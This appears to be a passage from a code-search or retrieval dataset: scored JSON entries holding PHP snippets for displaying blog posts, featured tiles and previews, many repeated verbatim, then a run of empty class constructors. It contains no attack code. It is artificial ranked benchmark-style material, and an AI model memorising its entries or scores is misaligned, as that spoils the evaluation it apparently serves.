<div class=\"NewFlag\">%s</div>', htmlspecialchars($lang['newflag']));\n }\n if($full_width)\n {\n $html_container_class[] = \"FullWidth\";\n $html_contents_h2_style[] = \"max-width: unset;\";\n\n $action_selection_id = \"themes_action_selection{$fc[\"ref\"]}_bottom_{$fc[\"ref\"]}\";\n \n if($show_resources_count && !$is_smart_featured_collection)\n {\n $html_contents_h2 .= sprintf(\n ' <span data-tag=\"resources_count\" data-fc-ref=\"%s\">%s</span>',\n htmlspecialchars($fc['ref']),\n htmlspecialchars($lang['counting_resources']));\n }\n }\n\n\n $theme_images = (isset($ctx[\"images\"]) ? $ctx[\"images\"] : array());\n if(!empty($theme_images))\n {\n $html_container_class[] = \"FeaturedSimpleTileImage\";\n\n if(count($theme_images) == 1)\n {\n $theme_image_path = $theme_images[0];\n $html_container_style[] = \"background: url({$theme_image_path});\";\n $html_container_style[] = \"background-size: cover;\";\n $theme_images = array();\n }\n }\n\n\n $tools = (isset($ctx[\"tools\"]) && is_array($ctx[\"tools\"]) && !$full_width ? $ctx[\"tools\"] : array());\n $html_actions_style = ['display: none;'];\n if(count($tools) > 3)\n {\n $html_actions_style[] = \"height: 43px;\";\n }\n\n\n // DEVELOPER NOTE: anything past this point should be set. All logic is handled above\n ?>\n <div id=\"FeaturedSimpleTile_<?php echo md5($fc['ref']); ?>\" class=\"<?php echo implode(\" \", $html_container_class); ?>\" style=\"<?php echo implode(\" \", $html_container_style); ?>\">\n <a href=\"<?php echo $html_fc_a_href; ?>\" onclick=\"return CentralSpaceLoad(this, true);\" id=\"featured_tile_<?php echo $fc[\"ref\"]; ?>\" class=\"FeaturedSimpleLink\">\n <div id=\"FeaturedSimpleTileContents_<?php echo $fc[\"ref\"]; ?>\" class=\"<?php echo implode(\" \", $html_contents_class); ?>\">\n <?php\n foreach($theme_images as $i => $theme_image)\n {\n $gap = 200 / count($theme_images);\n $space = $i * $gap;\n $style = array(\n \"left: {$space}px;\",\n \"transform: rotate(\" . (20 - ($i * 12)) . \"deg);\"\n );\n ?>\n <img src=\"<?php echo $theme_image; ?>\" class=\"TileGroupImageBase\" style=\"<?php echo implode(\" \", $style); ?>\">\n <?php\n }\n ?>\n <h2 style=\"<?php echo implode(\" \", $html_contents_h2_style); ?>\"><?php echo $html_contents_h2; ?></h2>\n </div>\n </a>\n <?php\n if(!empty($tools))\n {\n ?>\n <div id=\"FeaturedSimpleTileActions_<?php echo md5($fc['ref']); ?>\" class=\"FeaturedSimpleTileActions\" style=\"<?php echo implode(\" \", $html_actions_style); ?>\">\n <?php\n foreach($tools as $tool)\n {\n if(empty($tool))\n {\n continue;\n }\n\n $href = (isset($tool[\"href\"]) && trim($tool[\"href\"]) != \"\" ? $tool[\"href\"] : \"#\");\n $text = $tool[\"text\"]; // if this is missing, code is wrong somewhere else\n\n $tool_onclick = (isset($tool[\"modal_load\"]) && $tool[\"modal_load\"] ? 'return ModalLoad(this, true);' : 'return CentralSpaceLoad(this, true);');\n if(isset($tool[\"custom_onclick\"]) && trim($tool[\"custom_onclick\"]) != \"\")\n {\n $tool_onclick = $tool[\"custom_onclick\"];\n }\n ?>\n <div class=\"tool\">\n <a href=\"<?php echo $href; ?>\" onclick=\"<?php echo $tool_onclick; ?>\">\n <span><?php echo LINK_CARET; ?><?php echo htmlspecialchars($text); ?></span>\n </a>\n </div>\n <?php\n }\n ?>\n </div><!-- End of FeaturedSimpleTileActions_<?php echo md5($fc['ref']); ?> -->\n <?php\n }\n else if($full_width && !$is_smart_featured_collection)\n {\n ?>\n <div class=\"ListTools\">\n <div class=\"ActionsContainer\">\n <select id=\"<?php echo $action_selection_id; ?>\" onchange=\"action_onchange_<?php echo $action_selection_id; ?>(this.value);\">\n <option><?php echo htmlspecialchars($lang[\"actions-select\"]); ?></option>\n </select>\n </div>\n <script>\n jQuery('#<?php echo $action_selection_id; ?>').bind({\n mouseenter: function(e)\n {\n LoadActions('themes', '<?php echo $action_selection_id; ?>', 'collection', '<?php echo $fc[\"ref\"]; ?>');\n }\n });\n </script>\n </div><!-- End of ListTools -->\n <?php\n }\n ?>\n </div><!-- End of FeaturedSimpleTile_<?php echo $fc[\"ref\"]; ?>-->\n <?php\n return;\n }", "title": "" }, { "docid": "a109341ec582e35b49ac7b0194b2dc35", "score": "0.5891516", "text": "public function index()\n {\n $contents = Content::with('author')->latestBy(Content::CREATED_AT)->post()->paginate();\n\n set_meta('title', 'List of Posts');\n\n return view('orchestra/story::admin.index', [\n 'contents' => $contents,\n 'create' => Gate::allows('create', Content::newPostInstance()),\n 'type' => 'post',\n ]);\n }", "title": "" }, { "docid": "86c67ca4782af9193fb74fd64eb2c390", "score": "0.58912766", "text": "public function show(Posts $post)\n {\n return view('front.partials.post.post', compact('post'));\n }", "title": "" }, { "docid": "d06e54197ca3e7856f6f464d290e1c9c", "score": "0.58889", "text": "public function show(Post $post)\n {\n //\n }", "title": "" }, { "docid": "d06e54197ca3e7856f6f464d290e1c9c", "score": "0.58889", "text": "public function show(Post $post)\n {\n //\n }", "title": "" }, { "docid": "d06e54197ca3e7856f6f464d290e1c9c", "score": "0.58889", "text": "public function show(Post $post)\n {\n //\n }", "title": "" }, { "docid": "d06e54197ca3e7856f6f464d290e1c9c", "score": "0.58889", "text": "public function show(Post $post)\n {\n //\n }", "title": "" }, { "docid": "d06e54197ca3e7856f6f464d290e1c9c", "score": "0.58889", "text": "public function show(Post $post)\n {\n //\n }", "title": "" }, { "docid": "d06e54197ca3e7856f6f464d290e1c9c", "score": "0.58889", "text": "public function show(Post $post)\n {\n //\n }", "title": "" }, { "docid": "d06e54197ca3e7856f6f464d290e1c9c", "score": "0.58889", "text": "public function show(Post $post)\n {\n //\n }", "title": "" }, { "docid": "d06e54197ca3e7856f6f464d290e1c9c", "score": "0.58889", "text": "public function show(Post $post)\n {\n //\n }", "title": "" }, { "docid": "d06e54197ca3e7856f6f464d290e1c9c", "score": "0.58889", "text": "public function show(Post $post)\n {\n //\n }", "title": "" }, { "docid": "d06e54197ca3e7856f6f464d290e1c9c", "score": "0.58889", "text": "public function show(Post $post)\n {\n //\n }", "title": "" }, { "docid": "d06e54197ca3e7856f6f464d290e1c9c", "score": "0.58889", "text": "public function show(Post $post)\n {\n //\n }", "title": "" }, { "docid": "d06e54197ca3e7856f6f464d290e1c9c", "score": "0.58889", "text": "public function show(Post $post)\n {\n //\n }", "title": "" }, { "docid": "d06e54197ca3e7856f6f464d290e1c9c", "score": "0.58889", "text": "public function show(Post $post)\n {\n //\n }", "title": "" }, { "docid": "d06e54197ca3e7856f6f464d290e1c9c", "score": "0.58889", "text": "public function show(Post $post)\n {\n //\n }", "title": "" }, { "docid": "d06e54197ca3e7856f6f464d290e1c9c", "score": "0.58889", "text": "public function show(Post $post)\n {\n //\n }", "title": "" }, { "docid": "d06e54197ca3e7856f6f464d290e1c9c", "score": "0.58889", "text": "public function show(Post $post)\n {\n //\n }", "title": "" }, { "docid": "d06e54197ca3e7856f6f464d290e1c9c", "score": "0.58889", "text": "public function show(Post $post)\n {\n //\n }", "title": "" }, { "docid": "d06e54197ca3e7856f6f464d290e1c9c", "score": "0.58889", "text": "public function show(Post $post)\n {\n //\n }", "title": "" }, { "docid": "d06e54197ca3e7856f6f464d290e1c9c", "score": "0.58889", "text": "public function show(Post $post)\n {\n //\n }", "title": "" }, { "docid": "c0799f4ff69508ca222357fc1f573a9b", "score": "0.58848304", "text": "public function show($id)\n {\n return view('post.index', ['post' => $this->posts->getPostById($id)]);\n }", "title": "" }, { "docid": "1c17a048467bdd4665dff5a0b022922b", "score": "0.58830327", "text": "function ShowAction()\n\t\t{\n\t\t\t//retrieve post details\n\t\t\t//display post details\n\t\t}", "title": "" }, { "docid": "0098e24a06c36be9920c398a772f8512", "score": "0.58796406", "text": "public function preview($slug)\n\t{\n\t\t$post = Article::findArticleBySlug($slug, true)->with('tags', 'categories')->firstOrFail();\n\t\t$authorUser = $post->user()->with('userMeta')->first();\n\t\t$comments = $post->hamComments()->get();\n\t\t$commentCount = count($comments);\n\t\t$socialShareButtons = $this->getSocialShareButtonsData($post);\n\t\treturn view('themes.' . IndexController::THEME . '.blog.singlearticle', compact('post', 'authorUser', 'comments', 'commentCount', 'socialShareButtons'));\n\t}", "title": "" }, { "docid": "ad054eb8e31f65fb5e9e6e9f4f49bfee", "score": "0.58778197", "text": "function _show_post_content(){\n global $tinymce_version;\n if($id = @intval($_GET['post_id'])){\n $post = get_post($id);\n if($post){\n if(@intval($_GET['rtl'])){\n $rtl = ' dir=\"rtl\"';\n }else{\n $rtl = '';\n }\n echo '<html'.$rtl.'>';\n echo '<head>';\n $csss = array(\n '/' . WPINC . '/js/tinymce/themes/advanced/skins/wp_theme/content.css?ver='.$tinymce_version,\n '/' . WPINC . '/js/tinymce/plugins/spellchecker/css/content.css?ver='.$tinymce_version,\n '/' . WPINC . '/js/tinymce/plugins/wordpress/css/content.css?ver='.$tinymce_version\n );\n foreach($csss as $css){\n echo '<link rel=\"stylesheet\" href=\"'.get_option('siteurl') . $css . '\">' . \"\\n\";\n }\n echo '</head>';\n echo '<body>';\n switch($_GET['field_type']){\n default:\n if(0 === strpos($_GET['field_type'], 'field-')){\n echo get_post_meta($id, preg_replace('#^field-#', '', $_GET['field_type']), true);\n }else{\n remove_filter('the_content', 'do_shortcode', 11);\n echo apply_filters('the_content', $post->post_content);\n }\n }\n echo '</body>';\n echo '</html>';\n exit;\n }else{\n wp_die(__('Post not found!', 'sitepress'));\n }\n exit;\n }else{\n wp_die(__('Post not found!', 'sitepress'));\n }\n }", "title": "" }, { "docid": "e3c01e7922fdae81988b9cddd5febf0b", "score": "0.58722144", "text": "function display_content() {\n\techo '<div class=\"entry-content c-article__body\">';\n\tthe_content();\n\techo '</div>';\n\tif (!has_tag('monthly-fiction')) {\n\t\techo '<section class=\"entry-footer c-article__footer\"><p>';\n\t\tguest_author_bio();\n\t\techo '</p></section>';\n\t}\n}", "title": "" }, { "docid": "40f52e7a859bc34cc8a53a594a755f50", "score": "0.58711535", "text": "function blog_loop(){\n ?> <h1>Blog Posts:</h1><hr /> <?php\n //init counter\n $counter = 0;\n //args for WP Query\n $args = array(\n 'post_type' => 'post',\n 'posts_per_page' => 6\n );\n $blogposts = new \\WP_Query($args);\n while ($blogposts->have_posts()) {\n $blogposts->the_post();\n\n //determining if it is an odd or even post for formatting\n if ($counter % 2 == 0) {\n ?>\n <div class=\"first one-half blog-preview\">\n <?php\n } else {\n ?>\n <div class=\"one-half blog-preview\">\n <?php\n }\n //check for thumbnail\n if(has_post_thumbnail()){\n ?>\n <div class=\"blog-preview__thumbnail-container\">\n <div class=\"blog-preview__thumbnail\"><img src=\"<?php the_post_thumbnail_url('medium'); ?>\"/></div>\n </div>\n <hr />\n <?php } ?>\n\n\n <div class=\"blog-preview__header\">\n <h1><a href=\"<?php the_permalink(); ?>\"><?php the_title(); ?></a> <span class=\"blog-preview__header__post-date\">| <?php echo get_the_date('F j, Y'); ?></span></h1>\n </div>\n\n <?php\n //check header\n if (has_excerpt()) {\n echo get_the_excerpt();\n } else {\n echo wp_trim_words(get_the_content(), 36);\n } ?>\n\n <br />\n <br />\n <form action=\"<?php the_permalink(); ?>\"><button>Read More</button></form>\n </div>\n <?php\n $counter += 1;\n echo paginate_links();\n }\n}", "title": "" }, { "docid": "790cfafc6ab61ee17ce9e52aa5df6915", "score": "0.58673316", "text": "public function post()\n {\n $posts = Posts::where('posts_category_id', '=', '1')->where('deleted_at', '=', NULL)->orderBy('created_at', 'DESC')->paginate(16);\n\n return view('client.posts.posts', compact('posts'));\n }", "title": "" }, { "docid": "d9b41e1fd7573ab6b538509baf213472", "score": "0.5841768", "text": "public function showAction() {\n $id = $this->_getParam('id', '');\n\n /**\n * @todo Filter Id\n */\n if (!empty($id)) {\n //Create a new Post document\n $post = new Model\\Post();\n try {\n //Try to find a document with $if in the databse\n $post->fetchById($id);\n\n //Handle tags\n $post->tags = is_array($post->tags) ? $post->tags : array();\n\n //Save the post as a member of the view\n $this->view->post = $post;\n\n } catch (\\phpillowResponseNotFoundErrorException $e) {\n\n /**\n * @todo Implement proper error handling\n */\n var_dump($e);\n }\n }\n }", "title": "" }, { "docid": "e7df0d8aff0cfcd16861351a55a0874b", "score": "0.5823035", "text": "public function ShowPost()\r\n\t{\r\n\t\t$ident \t\t= filter_input(INPUT_GET, 'id', FILTER_SANITIZE_STRING);\r\n\t\t$username \t= (isset($_SESSION['nom']) && isset($_SESSION['prenom'])) ? $_SESSION['nom'].' '.$_SESSION['prenom'] : '';\r\n\t\t$args\t\t= array('posts' => $this->model->GetPostById($ident), 'comments' => $this->modelcom->getCommentListByPostId($ident), 'username' => $username);\r\n\r\n \tif(filter_input(INPUT_POST, 'token', FILTER_SANITIZE_STRING) != null)\r\n\t\t\t$args = array_merge($args, $this->modelcom->Add());\r\n\t\t\r\n\t\t$this->Render('Posts/posts.html', $args);\r\n\t}", "title": "" }, { "docid": "0020327c7788bb0d47ee80fe8a58028b", "score": "0.5821188", "text": "public function show_post()\n {\n \t$post = new Post;\n \t$post = Post::simplePaginate(6);\n \t// echo \"<pre>\";\n return view('show_task.showlist_task',['post' => $post]);\n }", "title": "" }, { "docid": "6f5bf881cc78bb945af5cafcd5e69977", "score": "0.5819703", "text": "function _show_post_preview() {\n\tif ( isset($_GET['preview_id']) && isset($_GET['preview_nonce']) ) {\n\t\t$id = (int) $_GET['preview_id'];\n\n\t\tif ( false === wp_verify_nonce( $_GET['preview_nonce'], 'post_preview_' . $id ) )\n\t\t\twp_die( __('Sorry, you are not allowed to preview drafts.') );\n\n\t\tadd_filter('the_preview', '_set_preview');\n\t}\n}", "title": "" }, { "docid": "91386e4bf2409142908ef1ace40b4a84", "score": "0.5818641", "text": "function rhd_featured_post()\n{\n\tadd_meta_box( 'rhd_featured_post', __( 'Feature This Post', 'rhd' ), 'rhd_featured_post_callback', 'post', 'side', 'high' );\n}", "title": "" }, { "docid": "e84bacd0b414d3ece2ec58a676a697e0", "score": "0.5814281", "text": "public function showAction(Post $post)\n {\n $deleteForm = $this->createDeleteForm($post);\n\n return $this->render('@Forum/post/show.html.twig', array(\n 'post' => $post,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "619d0704fdd5c6eb3658dbaca23c1290", "score": "0.58131754", "text": "public function index()\n {\n $posts = Post::where('draft', 0)->orderByDesc('id')->get();\n foreach ($posts as $post) {\n $post = $this->getMediaForPost($post);\n }\n return view('admin.posts.index', compact('posts'));\n }", "title": "" }, { "docid": "9ea9adb93fda1802c9736462f89c03b6", "score": "0.5803971", "text": "public static function displayPage() \n {\n // to spit out content\n\n // If $this->content_only === true, only print the part of the template\n // with type=\"content\"\n\n // FIXME: Stub\n }", "title": "" }, { "docid": "c1ff9ccb0da2a6e2b1851940ced952a9", "score": "0.5801842", "text": "public function loop_cpt( $args = [] ) {\n\t\t$html = '';\n\n\t\t$objects = new \\WP_Query( $this->query_mods( [], $args ) );\n\n\t\tif ( $objects->have_posts() ) {\n\n\t\t\twhile ( $objects->have_posts() ) : $objects->the_post();\n\n\t\t\t\t$html .= $this->display_single( get_the_id() );\n\n\t\t\tendwhile;\n\n\t\t}\n\n\t\twp_reset_postdata();\n\n\t\treturn $html;\n\t}", "title": "" }, { "docid": "f58853019d37b8281b3b348d913c9411", "score": "0.5799812", "text": "public function show()\n {\n App::getInstance()->setTitle(\"Blog - Article\");\n $post = $this->post->findWithCategory($this->request->getGetValue('id'));\n if ($post === false) {\n $this->notFound();\n }\n if ($post->published != POST_PUBLISHED & $this->session->get('role') < ROLE_ADMIN) {\n $this->flash->danger('Cet article n\\'est pas publié');\n return $this->redirect('index.php?p=blog.index');\n }\n $session = $this->session;\n $comments = $this->comment->listValidated($this->request->getGetValue('id'));\n $form = new Form();\n $this->render('blog.show', compact('post', 'comments', 'session', 'form'));\n }", "title": "" }, { "docid": "3e9011477131bad625691fba1e02347d", "score": "0.5799548", "text": "function rp3_display_homepage_post( $position = 'left' ) {\n\n // Build our query by getting the latest post that's been marked for the position we're calling\n $args = array(\n 'posts_per_page' => 1,\n 'post_type' => array( 'post' ),\n 'category_name' => array( 'news', 'blog' ),\n 'meta_query' => array(\n array(\n 'key' => 'homepage',\n 'value' => 1,\n 'type' => 'NUMERIC'\n ),\n array(\n 'key' => 'homepage_position',\n 'value' => $position,\n 'type' => 'CHAR'\n ),\n ),\n );\n\n $homepage_query = new WP_Query( $args );\n\n // Create The Loopª\n if ( $homepage_query->have_posts() ): while ( $homepage_query->have_posts() ): $homepage_query->the_post();\n\n // some items in our HTML are dependent on the -post type- +category+\n if ( in_category( 'news') ) {\n $post_type_class = 'news';\n $post_type_link_text = 'news';\n $post_type_read_more = 'Story';\n } elseif ( in_category( 'blog' ) ) {\n $post_type_class = 'blog';\n $post_type_link_text = 'posts';\n $post_type_read_more = 'Post';\n }\n\n // Get the image info\n // $image_info = wp_get_attachment_image_src( get_field( 'homepage_image' ), 'home' );\n $image = get_field( 'homepage_image' );\n?>\n <article class=\"tile <?php echo $post_type_class; ?> <?php echo $position; ?>-tile\">\n <header>\n <div class=\"thumbnail\">\n <a href=\"<?php the_permalink(); ?>\" class=\"ir\" style=\"background-image: url(<?php echo $image['sizes']['home']; ?>);\"><?php echo $image['title']; ?></a>\n </div>\n </header>\n\t\t<div class=\"headline\">\n \t<h1><?php the_title(); ?></h1>\n \t<div class=\"link\"><a href=\"<?php the_permalink(); ?>\" title=\"Read &quot;<?php echo htmlspecialchars( get_the_title() ); ?>&quot;\">Read <?php echo $post_type_read_more; ?></a></div>\n\t\t</div>\n <footer>\n <div class=\"date\"><?php echo get_the_date('F j, Y'); ?></div>\n <div class=\"post_type_link\"><a href=\"<?php echo home_url( '/' . $post_type_class . '/' ); ?>\">All <?php echo $post_type_link_text; ?></a></div>\n </footer>\n\n <div class=\"icon\"><?php echo ucwords( $post_type_class ); ?></div>\n\n </article>\n\n<?php\n endwhile; endif;\n\n}", "title": "" }, { "docid": "7e5ae96eae3a6841e69d29a18c09280c", "score": "0.578481", "text": "public function index()\n {\n $posts = $this->postsRepository->all();\n\n $this->render(\"post/index\", [\n 'posts' => $posts\n ]);\n }", "title": "" }, { "docid": "bb6a655278c0f117962695dafaf961b8", "score": "0.5784141", "text": "public function display()\n {\n global $post;\n\n $postName = get_the_title();\n $postID = get_the_ID();\n\n $meta = get_post_meta($postID, self::META_KEY);\n $evervotes = 0;\n\n if (!empty($meta))\n {\n $evervotes = (int) $meta[0];\n }\n\n $templateDir = get_template_directory();\n $virtualFile = $templateDir . '/evervote.php';\n\n if (file_exists($virtualFile))\n {\n include $virtualFile;\n }\n else\n {\n include $this->pluginBaseDir . '/templates/evervote-client.php';\n }\n }", "title": "" }, { "docid": "5aff2f52b6bea143c72067bc33ceabd4", "score": "0.5780557", "text": "function listable_infinite_scroll_render() {\n\twhile ( have_posts() ) : the_post();\n\n\t\t/**\n\t\t * If this is a woocommerce archive, use the proper template card\n\t\t */\n\t\tif ( 'product' === get_post_type() && function_exists( 'wc_get_template_part' ) ) {\n\t\t\twc_get_template_part( 'content', 'product' );\n\t\t\tcontinue;\n\t\t} ?>\n\t\t<div class=\"grid__item postcard\">\n\t\t\t<?php\n\t\t\t/*\n\t\t\t * Include the Post-Format-specific template for the content.\n\t\t\t * If you want to override this in a child theme, then include a file\n\t\t\t * called content-___.php (where ___ is the Post Format name) and that will be used instead.\n\t\t\t */\n\t\t\tget_template_part( 'template-parts/content', get_post_format() ); ?>\n\t\t</div>\n\n\t<?php endwhile;\n}", "title": "" }, { "docid": "399c072eac637e08a674264955092b8f", "score": "0.5775904", "text": "public function showAll()\n {\n Utils::view('posts/showAll.html');\n }", "title": "" }, { "docid": "dcf3d153fafd223d166de7f57365c013", "score": "0.5775812", "text": "public function show(Post $post)\n {\n return view('posts.show')->with ('post', $post);\n }", "title": "" }, { "docid": "662fc2ff33dec69bca06e5d7eece7f37", "score": "0.57754374", "text": "public function index()\n\t{\n\t\t$posts = Post::all();\n\t\t$this->layout->content = View::make('private.postViews.index')->with(compact('posts'));\n\t}", "title": "" }, { "docid": "662bb71fe340a2cf3387e4c66642217a", "score": "0.5772812", "text": "protected function run_loop() {\n\t\twhile ( $this->query->have_posts() ) {\n\t\t\t$this->query->the_post();\n\t\t\trequire SPARK_PRODUCTS_PATH . 'public/partials/product-item.php';\n\t\t}\n\t}", "title": "" }, { "docid": "2ccf42693ad68a933f1fb8f1ef76d9ad", "score": "0.5771576", "text": "public function display_featured(Page $page, Image $image) {\n\t\t$page->add_block(new Block(\"Featured Image\", $this->build_thumb_html($image), \"left\", 3));\n\t}", "title": "" } ]
77faec8907e4b9f67525de08137ca437
/ Constructor de la clase
[ { "docid": "fe32222374c7b1e0d2c209870db65513", "score": "0.0", "text": "function CCorrespondenciaData($db) {\r\n $this->db = $db;\r\n }", "title": "" } ]
[ { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.85671484", "text": "private function __construct(){}", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.85671484", "text": "private function __construct(){}", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.85671484", "text": "private function __construct(){}", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.85671484", "text": "private function __construct(){}", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.85671484", "text": "private function __construct(){}", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.85671484", "text": "private function __construct(){}", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.85671484", "text": "private function __construct(){}", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.85671484", "text": "private function __construct(){}", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.85671484", "text": "private function __construct(){}", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.85671484", "text": "private function __construct(){}", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.85671484", "text": "private function __construct(){}", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.85671484", "text": "private function __construct(){}", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.85671484", "text": "private function __construct(){}", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.85671484", "text": "private function __construct(){}", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.85671484", "text": "private function __construct(){}", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.85671484", "text": "private function __construct(){}", "title": "" }, { "docid": "7b06340460e2c298cf2f6fde5fcee5ce", "score": "0.84845304", "text": "function __construct()\n\t\t {\n\t\t }", "title": "" }, { "docid": "7ee27fe2fdc5660c7a38bea1a716761e", "score": "0.8430769", "text": "public function __constructor() {\n \n }", "title": "" }, { "docid": "80dfd361c13d2fcaf315335370ce50c5", "score": "0.84279096", "text": "private function __construct() \r\n\t{}", "title": "" }, { "docid": "a4f4cabd6701a75ff07791813cdde03b", "score": "0.8387715", "text": "public function __construct (){}", "title": "" }, { "docid": "56d37223a928e57c8085c17b0ff79a2b", "score": "0.8387115", "text": "function __construct()\n\t{}", "title": "" }, { "docid": "d4391d9611ce531fbd33c83f42f0baf4", "score": "0.8350282", "text": "private function __constructor( ) {\n\n\t\t}", "title": "" }, { "docid": "763fff94eca613bb1a2de8bb8d749127", "score": "0.83497834", "text": "function __construct()\n\t\t{\n\t\t}", "title": "" }, { "docid": "903afe11294fb6e3b0002eda8aec2a45", "score": "0.8329544", "text": "private function __construct() {\r\n\t\t\t\r\n\t\t}", "title": "" }, { "docid": "da651b826d5c36039bf4b0430525d418", "score": "0.83265775", "text": "public function __construct()\n\t{\n\t\t//TODO\n\t}", "title": "" }, { "docid": "a35772e47995de4a7841f4d10ea9da33", "score": "0.8326252", "text": "function __construct(){}", "title": "" }, { "docid": "a35772e47995de4a7841f4d10ea9da33", "score": "0.8326252", "text": "function __construct(){}", "title": "" }, { "docid": "a35772e47995de4a7841f4d10ea9da33", "score": "0.8326252", "text": "function __construct(){}", "title": "" }, { "docid": "434b05561e72fac8551772a12880a649", "score": "0.8321651", "text": "private function __construct() {/* intentionally left blank */}", "title": "" }, { "docid": "6bd592f13b99fdb628b00e1854be4490", "score": "0.8313483", "text": "public function _construct()\r\n\t{\r\n\r\n\t}", "title": "" }, { "docid": "463854b57c3ec89863df084188ff869b", "score": "0.83117604", "text": "public function __construct()\n\n\t{}", "title": "" }, { "docid": "7ba74cf80319857b879252eb0e239339", "score": "0.8296151", "text": "private function __construct()\n\t{\n\t\t\n\t}", "title": "" }, { "docid": "fe9ee1192ceb08fbf4ff65555208c858", "score": "0.82920355", "text": "private function __construct();", "title": "" }, { "docid": "42d48a64aec06772020f837c1da0b7d6", "score": "0.8290745", "text": "private function __construct()\r\n\t{\r\n\t}", "title": "" }, { "docid": "42d48a64aec06772020f837c1da0b7d6", "score": "0.8290745", "text": "private function __construct()\r\n\t{\r\n\t}", "title": "" }, { "docid": "4b9a73e08a620b798d91c831ff6af9d4", "score": "0.8289359", "text": "private function __construct()\n\t\t{\n\t\t}", "title": "" }, { "docid": "2d4a863f96888ee57992ff3d59d12a11", "score": "0.82866", "text": "private function __construct() {\n\t\t\n\t\t}", "title": "" }, { "docid": "0e59379112512b1f4fc1b3ae6ccaa830", "score": "0.8266156", "text": "private function __construct () {}", "title": "" }, { "docid": "65cd828d48d233adf23f325129a9a564", "score": "0.8260152", "text": "public function __construct() {\t\n\t}", "title": "" }, { "docid": "2c7f310971e413362d9c3e9fc45f752c", "score": "0.8259672", "text": "private function __construct() {\r\n\t\t\r\n\t}", "title": "" }, { "docid": "655646ebd5e0baf64a09e183f2e31231", "score": "0.8259209", "text": "public function __construct()\n\t\t{\n\n\t\t}", "title": "" }, { "docid": "655646ebd5e0baf64a09e183f2e31231", "score": "0.8259209", "text": "public function __construct()\n\t\t{\n\n\t\t}", "title": "" }, { "docid": "ac977fc5b5b37d3f5f4b66e3824d7f5f", "score": "0.82568216", "text": "public function __construct()\n\t {\n\t //\n\t }", "title": "" }, { "docid": "b2d3b5d1e2c5c5eb37f050b1a362ef72", "score": "0.8254389", "text": "final private function __construct() { }", "title": "" }, { "docid": "9f8241a4358402a6558d11d4836a9349", "score": "0.82488066", "text": "function __construct()\r\n\t{\r\n\t\t\r\n\t\t}", "title": "" }, { "docid": "61517b0213f429081ad6d27b3598bebb", "score": "0.8248429", "text": "private function __construct() {\n\t\t}", "title": "" }, { "docid": "61517b0213f429081ad6d27b3598bebb", "score": "0.8248429", "text": "private function __construct() {\n\t\t}", "title": "" }, { "docid": "57935b9bd57ce4fc0ce7ffdab86b3450", "score": "0.82470006", "text": "private function __construct() \n\t{\n\t \n\t}", "title": "" }, { "docid": "e91b6c3cb8d98cd3a7a8577b85a46de5", "score": "0.8246337", "text": "final private function __construct() {\n\t}", "title": "" }, { "docid": "3b6ccf052eab19a3ba3b3d9e1c839f83", "score": "0.82415193", "text": "public function __construct()\n\t{\n\t\n\t}", "title": "" }, { "docid": "3b6ccf052eab19a3ba3b3d9e1c839f83", "score": "0.82415193", "text": "public function __construct()\n\t{\n\t\n\t}", "title": "" }, { "docid": "3b6ccf052eab19a3ba3b3d9e1c839f83", "score": "0.82415193", "text": "public function __construct()\n\t{\n\t\n\t}", "title": "" }, { "docid": "3b6ccf052eab19a3ba3b3d9e1c839f83", "score": "0.82415193", "text": "public function __construct()\n\t{\n\t\n\t}", "title": "" }, { "docid": "abafabb2e6139e8d44ba1c18cfac7358", "score": "0.8241193", "text": "final private function __construct() { }", "title": "" }, { "docid": "c8f8cdc3f0a27cf2fe91c3cd52a99f5a", "score": "0.8238472", "text": "public function _construct()\n\t{\n\n\t}", "title": "" }, { "docid": "a9e876c85e38882c5a3514c2eca20d6c", "score": "0.8238281", "text": "final private function __construct() {}", "title": "" }, { "docid": "a9e876c85e38882c5a3514c2eca20d6c", "score": "0.8238281", "text": "final private function __construct() {}", "title": "" }, { "docid": "0483931b02bf2110031b1ebed9086eb8", "score": "0.82370836", "text": "public function __construct()\n\t\t{\n\t\t}", "title": "" }, { "docid": "0483931b02bf2110031b1ebed9086eb8", "score": "0.82370836", "text": "public function __construct()\n\t\t{\n\t\t}", "title": "" }, { "docid": "602b970669bb057d4d3f7f82618ec38f", "score": "0.8225625", "text": "function __construct() {\t\t\t\t\t\t\n\t\t\t\n\t\t}", "title": "" }, { "docid": "ec7bda312c472b12a18d5415e7d066ad", "score": "0.82251453", "text": "private function __construct() {\n\n\t}", "title": "" }, { "docid": "ec7bda312c472b12a18d5415e7d066ad", "score": "0.82251453", "text": "private function __construct() {\n\n\t}", "title": "" }, { "docid": "27dc3ced3af79a746433e0a9e733c35b", "score": "0.82225156", "text": "function __construct() {}", "title": "" }, { "docid": "27dc3ced3af79a746433e0a9e733c35b", "score": "0.82225156", "text": "function __construct() {}", "title": "" }, { "docid": "27dc3ced3af79a746433e0a9e733c35b", "score": "0.82225156", "text": "function __construct() {}", "title": "" }, { "docid": "68bb2b3f9411af07c6235b1580b14a35", "score": "0.82169044", "text": "private function __construct(){\n\t\n\t}", "title": "" }, { "docid": "7a88065cb914511f16f4df0a7d5dd7d8", "score": "0.82162595", "text": "final private function __construct()\r\n {\r\n\r\n }", "title": "" }, { "docid": "365fa1d285830c92f43002a58f01718f", "score": "0.82161504", "text": "private function _construct() {}", "title": "" }, { "docid": "365fa1d285830c92f43002a58f01718f", "score": "0.82161504", "text": "private function _construct() {}", "title": "" }, { "docid": "141a67d1402dab2e76a70ff6df6e94f7", "score": "0.82157063", "text": "private function __construct()\n\t{\n\t}", "title": "" }, { "docid": 